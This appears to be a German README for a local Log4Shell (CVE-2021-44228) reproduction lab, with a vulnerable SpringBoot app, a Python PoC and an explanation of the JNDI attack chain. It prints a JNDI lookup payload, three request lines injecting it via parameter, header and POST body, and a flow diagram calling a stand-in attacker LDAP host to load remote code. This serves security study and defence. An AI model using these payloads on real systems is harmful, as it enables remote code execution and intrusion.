
CVE-2021-44228 (Log4Shell) Schwachstellen-Reproduktionsumgebung | SpringBoot + Log4j2 2.14.1 | 3 Angriffsvektoren PoC-Verifizierung
⚠️ Haftungsausschluss: Dieses Projekt dient ausschließlich Sicherheitsstudien und technischer Forschung. Alle Schwachstellenumgebungen werden lokal aufgebaut und es wurden keine realen Ziele getestet. Bitte nicht für illegale Zwecke verwenden. Das Risiko der Nutzung dieses Projekts liegt beim Anwender.
Log4j2 ist das am weitesten verbreitete Logging-Framework im Java-Ökosystem. Es verfügt über eine Lookup-Funktion, die das Einfügen dynamischer Inhalte in Logs mit der ${...}-Syntax ermöglicht. In Version 2.14.1 und darunter sendet Log4j2 automatisch eine JNDI-Anfrage an die angegebene Adresse, wenn ${jndi:...} im Loginhalt erscheint. Angreifer können dadurch Remote Code Execution (RCE) erreichen.
Diese Schwachstelle trägt die CVE-Nummer CVE-2021-44228, hat eine CVSS-Bewertung von 10.0 (Maximum), ist extrem einfach auszulösen, betrifft fast alle Java-Anwendungen, die Log4j2 verwenden, und die Ausnutzungskosten sind sehr gering.
Voraussetzungen: JDK 8+, Maven, Python 3, requests-Bibliothek
Schritt 1: Schwachstellenlabor starten
Öffnen Sie das Projekt mit IDEA und führen Sie VulnApplication.java aus. Die folgende Ausgabe zeigt einen erfolgreichen Start:
Tomcat started on port(s): 8080 (http)
Started VulnApplication in 1.1 seconds
Schritt 2: PoC-Skript ausführen
cd exploit
pip install requests
python exploit.py
${jndi:ldap://127.0.0.1:1389/EvilClass}
Payload-Injektion über URL-Parameter, löst logger.info("User Login: {}", username) aus:
r = requests.get(f"{target_url}/login", params={"username": payload}, timeout=5)
Payload-Injektion über HTTP-Header, löst logger.info("User-Agent: {}", headers) aus:
r = requests.get(f"{target_url}/api/headers", headers={"User-Agent": payload}, timeout=5)
Payload-Injektion über den POST-Anfragekörper, löst logger.info("Data: {}", body) aus:
r = requests.post(f"{target_url}/api/data", data=payload, timeout=5)
[+] Verbindung empfangen! Von 127.0.0.1:51631
[+] Schwachstelle bestätigt! Log4j2 hat eine JNDI-Anfrage gesendet
[+] CVE-2021-44228 erfolgreich reproduziert
Der Listener empfängt eine TCP-Verbindung vom Labor, was bestätigt, dass Log4j2 ${jndi:...} geparst und eine LDAP-Anfrage gesendet hat. Die Schwachstelle ist nachgewiesen.
Die Lookup-Funktion von Log4j2 ermöglicht das Einfügen dynamischer Inhalte in Logs mit der ${...}-Syntax, z. B. ${env:PATH} zum Lesen von Umgebungsvariablen oder ${sys:user.dir} zum Lesen von Systemeigenschaften.
JNDI (Java Naming and Directory Interface) ist die Namens- und Verzeichnisschnittstelle von Java. Wenn man ihr eine Adresse gibt, sucht sie danach und gibt das Ergebnis zurück. Wenn das Ergebnis eine Java-Klasse ist, lädt und führt die JVM sie automatisch aus.
① Angreifer gibt ein: ${jndi:ldap://Angreifer-IP:1389/EvilClass}
↓
② Website empfängt die Eingabe und protokolliert mit logger.info()
↓
③ Log4j2 parst den Loginhalt und findet ${jndi:ldap://...}
↓
④ Log4j2 sendet eine LDAP-Anfrage → Verbindung zum Angreifer-Server
↓
⑤ Der LDAP-Server des Angreifers antwortet: "Lade EvilClass.class von dieser Adresse herunter"
↓
⑥ Der Opfer-Server lädt die EvilClass-Klasse herunter und lädt sie
↓
⑦ Der static-Codeblock von EvilClass wird automatisch ausgeführt → RCE (Remote Code Execution)
-Dlog4j2.formatMsgNoLookups=true zu den Startparametern hinzufügen${jndi: zu blockierenlog4j2-vuln-lab/
├── pom.xml # Maven-Konfiguration, legt die verwundbare Log4j2-Version 2.14.1 fest
├── exploit/
│ └── exploit.py # PoC-Ausnutzungsskript, 3 Angriffsvektoren + TCP-Listener-Verifizierung
└── src/main/
├── java/com/vuln/log4j/
│ ├── VulnApplication.java # SpringBoot-Startklasse
│ └── controller/
│ └── UserController.java # 3 Schwachstellen-Injektionspunkte (GET-Parameter/UA-Header/POST-Körper)
└── resources/
├── application.yml # Portnummer + Log-Level-Konfiguration
└── log4j2.xml # Log4j2-Konfigurationsdatei